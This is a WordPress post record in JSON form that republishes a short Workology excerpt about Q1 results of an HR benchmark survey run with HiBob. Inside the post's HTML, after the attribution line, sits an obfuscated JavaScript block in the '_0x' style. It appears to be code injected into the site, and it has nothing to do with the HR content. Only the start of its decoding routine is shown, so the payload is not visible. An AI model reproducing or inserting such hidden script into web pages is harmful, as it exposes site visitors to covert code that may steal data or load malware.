{"id":8837,"date":"2022-05-18T15:05:35","date_gmt":"2022-05-18T15:05:35","guid":{"rendered":"https:\/\/workology.com\/?p=345811"},"modified":"2022-05-18T15:05:35","modified_gmt":"2022-05-18T15:05:35","slug":"q1-results-of-the-hibob-and-workology-hr-benchmark-survey","status":"publish","type":"post","link":"https:\/\/squarehrwired.com\/index.php\/2022\/05\/18\/q1-results-of-the-hibob-and-workology-hr-benchmark-survey\/","title":{"rendered":"Q1 Results of the HiBob and Workology HR Benchmark Survey"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"630\" src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2022\/05\/q1-results-of-the-hibob-and-workology-hr-benchmark-survey.jpg\" class=\"attachment-post-thumbnail size-post-thumbnail wp-post-image\" alt=\"\" \/><\/p>\n<p>HR is at the heart of the business and because of this new and increased focus on HR I launched the HR Benchmark Survey late last year. We partnered with leading HR technology disruptor HiBob to create the 2022 HR Benchmark Survey in order to help HR leaders understand how their strategies and programs compare [&#8230;]<\/p>\n<p>The post <a rel=\"nofollow\" href=\"https:\/\/workology.com\/q1-results-of-the-hibob-and-workology-hr-benchmark-survey\/\">Q1 Results of the HiBob and Workology HR Benchmark Survey<\/a> appeared first on <a rel=\"nofollow\" href=\"https:\/\/workology.com\">Workology<\/a>.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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new and increased focus on HR I launched the HR Benchmark Survey late last year. We partnered with leading HR technology disruptor HiBob to create the 2022 HR Benchmark Survey in order to help HR leaders understand how their strategies and programs compare [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":8838,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[388,362],"tags":[],"class_list":["post-8837","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-freelance","category-hr"],"_links":{"self":[{"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/posts\/8837","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/comments?post=8837"}],"version-history":[{"count":0,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/posts\/8837\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/media\/8838"}],"wp:attachment":[{"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/media?parent=8837"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/categories?post=8837"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/tags?post=8837"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}